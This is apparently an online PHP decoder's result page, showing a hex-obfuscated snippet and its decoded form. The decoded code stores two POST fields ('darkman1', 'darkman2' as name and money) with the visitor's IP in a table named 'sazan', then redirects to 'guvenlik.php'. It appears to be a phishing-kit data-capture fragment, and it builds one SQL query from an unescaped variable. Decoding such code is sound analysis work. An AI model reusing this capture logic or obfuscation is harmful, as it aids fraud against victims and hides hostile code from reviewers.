Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

if ($_POST && !empty($_POST["\x64\x61\162\x6b\x6d\141\156\x31"]) && !empty($_POST["\144\1..

Decoded Output download

<?   if ($_POST && !empty($_POST["darkman1"]) && !empty($_POST["darkman2"])) { $ad = htmlspecialchars($_POST["darkman1"]); $money = htmlspecialchars($_POST["darkman2"]); session_start(); $date = date("d.m.Y H:i"); $existing_record = $db->query("SELECT * FROM sazan WHERE ip='{$ip}'")->fetch(PDO::FETCH_ASSOC); if ($existing_record) { $query = $db->prepare("UPDATE sazan SET ad=?, money=?, date=? WHERE ip=?"); $update = $query->execute(array($ad, $money, $date, $ip)); } else { $query = $db->prepare("INSERT INTO sazan SET ip=?, date=?, ad=?, money=?"); $insert = $query->execute(array($ip, $date, $ad, $money)); } if ($insert || $update) { header("Location: guvenlik.php"); die; } }  
 ?>

Did this file decode correctly?

Original Code

 if ($_POST && !empty($_POST["\x64\x61\162\x6b\x6d\141\156\x31"]) && !empty($_POST["\144\141\162\x6b\x6d\141\156\62"])) { $ad = htmlspecialchars($_POST["\x64\x61\162\153\155\141\156\x31"]); $money = htmlspecialchars($_POST["\x64\141\x72\x6b\x6d\141\156\x32"]); session_start(); $date = date("\144\x2e\155\56\131\40\110\72\x69"); $existing_record = $db->query("\x53\x45\114\105\x43\x54\x20\x2a\40\x46\122\117\x4d\40\x73\141\172\x61\156\x20\127\x48\105\x52\x45\40\151\x70\x3d\47{$ip}\47")->fetch(PDO::FETCH_ASSOC); if ($existing_record) { $query = $db->prepare("\125\x50\104\101\x54\x45\x20\x73\x61\x7a\x61\156\x20\123\105\x54\x20\x61\x64\x3d\77\54\x20\x6d\x6f\156\x65\x79\75\77\x2c\40\144\x61\164\145\75\x3f\x20\127\110\x45\122\x45\40\151\x70\75\77"); $update = $query->execute(array($ad, $money, $date, $ip)); } else { $query = $db->prepare("\111\116\x53\x45\x52\x54\x20\111\116\x54\117\x20\163\141\172\x61\156\40\x53\x45\124\40\151\160\75\x3f\x2c\x20\x64\x61\x74\145\x3d\x3f\54\40\x61\x64\x3d\77\x2c\40\155\157\x6e\x65\x79\75\77"); $insert = $query->execute(array($ip, $date, $ad, $money)); } if ($insert || $update) { header("\x4c\157\x63\141\164\151\157\156\72\40\x67\165\x76\x65\156\x6c\x69\153\56\160\150\160"); die; } } 

Function Calls

None

Variables

None

Stats

MD5 c7c44492180a5d36bfaa9fbbed96e025
Eval Count 0
Decode Time 67 ms